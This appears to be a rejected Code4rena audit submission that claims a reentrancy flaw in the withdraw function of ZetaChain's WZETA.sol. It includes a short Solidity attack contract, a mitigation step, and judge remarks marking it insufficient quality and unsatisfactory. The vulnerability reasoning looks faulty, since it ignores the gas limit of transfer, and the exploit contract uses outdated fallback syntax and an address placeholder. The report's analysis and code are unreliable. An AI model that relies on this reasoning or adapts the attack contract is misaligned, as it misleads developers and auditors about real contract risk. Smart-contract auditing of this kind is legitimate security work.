Reentrancy in function withdraw

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/2834e3f85b2c7774e97413936018a0814c57d860/repos/protocol-contracts/contracts/zevm/WZETA.sol#L25

Vulnerability details

Impact

The reason is that it first transfers funds to the user via msg.sender.transfer(wad), and only then updates the balance in the mapping balanceOf[msg.sender] -= wad; An attacker can call the withdraw function from another contract, and as soon as the funds are transferred via transfer, recursively call withdraw again. Thus, he will be able to withdraw the same funds repeatedly before the balance has time to update in mapping. The function contains an external code call via msg.sender.transfer before changing the user's balance. This opens up the possibility for an attack by calling the function again.

Proof of Concept

Link to the contract of the vulnerable contract - https://github.com/code-423n4/2023-11-zetachain/blob/main/repos/protocol-contracts/contracts/zevm/WZETA.sol

Explot code

contract ReentrancyAttack {

    WETH9 target;

    function attack() public {
        target = WETH9(<address>);
        target.deposit{value: 1 ether}();
        target.withdraw(1 ether); 
    }

    function () external payable {
        if (address(target).balance > 0) {
            target.withdraw(1 ether);
        }
    }
}

Tools Used

MythX/Mithril - for preliminary code analysis Echidna - for fuzzing tests Slither - to check the operation. Manual code review

Recommended Mitigation Steps

Swap lines of code in the withdraw function:

balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);

This will eliminate the possibility of an attack by calling the function again.

Assessed type

Reentrancy

[c4-pre-sort]

DadeKuma marked the issue as insufficient quality report

[c4-pre-sort]

DadeKuma marked the issue as duplicate of #38

[c4-judge]

0xean marked the issue as unsatisfactory: Insufficient quality